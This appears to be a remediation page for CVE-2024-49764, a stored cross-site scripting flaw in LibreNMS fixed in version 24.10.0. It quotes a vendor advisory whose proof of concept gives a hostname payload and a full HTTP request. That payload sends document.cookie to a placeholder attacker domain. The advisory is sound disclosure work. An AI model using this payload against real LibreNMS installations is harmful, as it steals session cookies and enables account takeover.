How to Fix CVE-2024-49764

To remediate this vulnerability, upgrade all affected Librenms/librenms dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

librenms/librenms fixed: 24.10.0
Upgrade librenms/librenms to 24.10.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for librenms/librenms

How to Check if You Are Affected

To determine whether your application is affected by CVE-2024-49764, inspect your project dependencies for Librenms/librenms:

inspect dependencies for librenms/librenms

Analyze the terminal output to locate any version of Librenms/librenms in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 24.10.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Librenms/librenms, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A Stored Cross-Site Scripting (XSS) vulnerability in the "Capture Debug Information" page allows authenticated users to inject arbitrary JavaScript through the "hostname" parameter when creating a new device. This vulnerability results in the execution of malicious code when the "Capture Debug Information" page is visited, redirecting the user and sending non-httponly cookies to an attacker-controlled domain. ### Details When creating a new device, an attacker can inject the following XSS payload into the "hostname" parameter: ``` test'" autofocus onfocus="document.location='https://<attacker_domain>/logger.php?c='+document.cookie" ``` (Note: You may need to URL-encode the '+' sign in the payload.) The payload triggers automatically when visiting the "Capture Debug Information" page for the device, redirecting the user's browser to the attacker-controlled domain along with any non-httponly cookies. The vulnerability is due to insufficient sanitization of the "url" variable before it is output in the HTML. This is evident in the following lines of code: https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/pages/device/capture.inc.php#L55 ### PoC 1. Create a new device with the following payload in the "hostname" parameter: ``` test'" autofocus onfocus="document.location='https://<attacker_domain>/logger.php?c='+document.cookie" ``` 2. Save the device. 3. Navigate to the "Capture Debug Information" page for the device. 4. Observe that the injected script triggers and redirects the user to the attacker's domain, sending cookies. Example Request: ```http POST /addhost HTTP/1.1 Host: <your_host> Content-Type: application/x-www-form-urlencoded Cookie: <your_cookie> _token=<your_token>&hostname=test%27%22+autofocus+onfocus%3D%22document.location%3D%27https%3A%2F%2F<attacker_domain>%2Flogger.php%3Fc%3D%27%2bdocument.cookie%22&snmp=on&sysName=&hardware=&os=&os_id=&snmpver=v2c&port=&transport=udp&port_assoc_mode=ifIndex&community=&authlevel=noAuthNoPriv&authname=&authpass=&authalgo=SHA&cryptopass=&cryptoalgo=AES&force_add=on&Submit= ``` ### Impact This vulnerability allows authenticated users to execute arbitrary JavaScript in the context of other users' sessions when they visit the "Capture Debug Information" page of the device. The attacker can redirect the user to a malicious domain and capture non-httponly cookies, potentially compromising the user's account and allowing unauthorized actions.
